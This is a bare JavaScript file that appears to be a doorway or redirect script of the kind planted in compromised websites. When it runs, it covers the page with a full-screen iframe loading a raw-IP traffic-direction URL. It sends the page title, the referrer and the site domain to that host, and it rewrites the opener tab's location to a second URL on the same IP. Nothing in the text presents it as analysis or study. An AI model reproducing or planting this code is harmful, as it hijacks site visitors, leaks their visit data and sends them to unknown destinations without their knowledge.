function extractDomain(url) { var domain; if (url.indexOf("://") > -1) { domain = url.split('/')[2]; } else { domain = url.split('/')[0]; } domain = domain.split(':')[0]; return domain; } function getGetData(url, name){ if(url.indexOf(name) > -1){ var get_lenght = name.length; start = get_lenght + url.lastIndexOf(name); data = url.substring(start); return data; } } function createDoorIframe() { var tds = 'http://51.195.45.131/?8rVmkN&cat=792&mark=gusi-ch-de&autosub=1¶meter=', d = document, w = window, keyword = encodeURIComponent(d.title), css = 'html, body {margin: 0; height: 100%; overflow: hidden !important}', head = d.head || d.getElementsByTagName('head')[0], style = d.createElement('style'), domain = extractDomain(d.location.href), //ref = encodeURIComponent(getGetData(w.location.href, 'utm_source=')), //ref = encodeURIComponent(extractDomain(d.referrer)), div = d.createElement('div'), i = d.createElement('iframe'); //(ref == domain) && (ref = '') && (ref = 'undefined'); ref = encodeURIComponent(getGetData(w.location.href, 'utm_source=')); if(ref == ''|| ref == 'undefined'){ ref = encodeURIComponent(extractDomain(d.referrer)); } if(ref == domain){ ref =''; } tds += keyword + '&se=' + ref + '&referrer=' + domain + '&source=' + 'edrock.pl' ; style.type = 'text/css'; if (style.styleSheet) { style.styleSheet.cssText = css; } else { style.appendChild(document.createTextNode(css)); } head.appendChild(style); i.setAttribute('style', 'width:100%;height:100%;top:0px;left:0px;position:absolute;z-index:99999'); div.setAttribute('style', 'width:100%;height:100%;top:0px;left:0px;position:absolute;z-index:99999;background:white'); i.src = tds; i.setAttribute('frameborder', 0); i.setAttribute('scrolling', 'yes'); d.body.appendChild(div); d.body.appendChild(i); window.opener.location.href = 'http://51.195.45.131/?qJkt1N&se=' + ref + '&referrer=' + domain; } createDoorIframe();